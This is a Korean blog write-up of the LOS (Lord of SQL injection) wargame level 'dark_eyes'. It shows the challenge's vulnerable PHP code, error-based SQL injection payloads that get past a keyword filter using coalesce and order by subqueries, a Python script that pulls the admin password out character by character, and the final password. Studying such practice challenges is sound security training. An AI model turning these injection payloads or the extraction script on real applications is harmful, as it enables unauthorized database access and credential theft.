문제 22번 - dark_eyes
query : select id from prob_dark_eyes where id='admin' and pw=''
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/col|if|case|when|sleep|benchmark/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(mysqli_error($db)) exit();
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("dark_eyes");
highlight_file(__FILE__);
?>
일단 다른 문제들과 마찬가지로 php 코드가 주어져있다.
먼저 필터링함수를 확인하면 prob, _ , . , (), col , if, case, when, sleep, benchmark를 필터링하고 i를 통해 대소문자를 구분하지 않는 것을 확인할 수 있다.
<?php
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/col|if|case|when|sleep|benchmark/i', $_GET[pw])) exit("HeHe");
?>
clear 조건을 확인하기 위해 조건문 코드를 확인해보니 pw가 필요하다는 것을 알 수 있다. pw의 크기를 찾고 pw를 찾는 파이썬 코드를 제작해야겠다.
<?php
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("dark_eyes");
highlight_file(__FILE__);
?>
아래 코드를 확인해보니 에러가 발생하면 빈화면을 출력하는 것을 알아내었다. 결국 error based sql injection을 이용해야겠다.
<?php
$query = "select id from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(mysqli_error($db)) exit();
echo "<hr>query : <strong>{$query}</strong><hr><br>";
?>
이번엔 if가 필터링된다는 것이 관건인데 if 대신 사용할 수 있는 함수인 coalesce함수이다.
coalesce(인자,인자,...)는 입력된 인자 순서대로 NULL이 아니면 반환하고 종료한다.
즉 coalesce(NULL,NULL,1,2,) 이렇게 주어진다면 1이 반환된는 형식이다.
이것을 이용하면 coalesce((select id where id='admin' and length(pw)=1),(select 1 union select 2))를 입력하면 pw의 길이가 1이면 where조건이 참이 되는 id인 admin이 반환되고 NULL이 아니므로 admin이 반환된다. 만약에 pw의 길이가 1이 아니면 where 조건이 거짓이 되므로 아무것도 반환되지 않고 NULL이므로 그 다음 인자로 넘어간다. --> 다음인자는 에러값을 반환하니깐 빈페이지로 이동
위 방법으로 pw=' or (select id where id='admin') = coalesce((select id where id='admin' and length(pw)=8), (select 1 union select 2))%23 을 입력했더니 화면이 출력되었다. 따라서 pw의 길이는 8이다.
if를 우회할 수 있는 방법을 찾다가 또 신기한 방법을 알게 되었는데 order by를 이용하는 것이다.
order by는 특정 순서로 정렬하기 위한 SQL인데 1 order by (select 1 from (select 1 union select 2)m where id='admin' and length(pw)=1)%23를 이용하면 된다.
where 조건이 참이면 행이 2개 생기고 거짓이면 아무것도 생기지 않는다. 행이 2개가 출력되면 order by 구문에서 error가 발생하고 그러면 빈 화면으로 이동하게 된다. 즉 빈화면으로 이동할 때의 pw값을 가져오면 된다.
이용하여 파이썬 코드를 작성해보았다.
import requests
url="https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php?"
cookie = dict(PHPSESSID="쿠키값")
result=""
for i in range(1,9):
for j in range(48,123):
query = "pw=' or 1 order by (select 1 from (select 1 union select 2)m where id='admin' and substr(pw,{0},1)='{1}')%23".format(i,chr(j))
URL = url+query
res = requests.get(URL, cookies=cookie)
if res.text.find("query")<0:
result += chr(j)
print(chr(j))
break
print("pw :"+result)
위 코드를 실행시키면 아래 결과값이 나온다.
즉 pw는 5a2f5d3c이다.
따라서 pw=5a2f5d3c를 입력한다.
solve
https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php?pw=5a2f5d3c
'write-up > LOS write-up' 카테고리의 다른 글
LOS (Lord of SQL injection) 문제 24번 evil_wizard write-up (0) | 2021.07.12 |
---|---|
LOS (Lord of SQL injection) 문제 23번 hell_fire write-up (0) | 2021.07.12 |
LOS (Lord of SQL injection) 문제 21번 iron_golem write-up (0) | 2021.07.12 |
LOS (Lord of SQL injection) 문제 20번 dragon write-up (0) | 2021.07.10 |
LOS (Lord of SQL injection) 문제 19번 xavi write-up (0) | 2021.07.10 |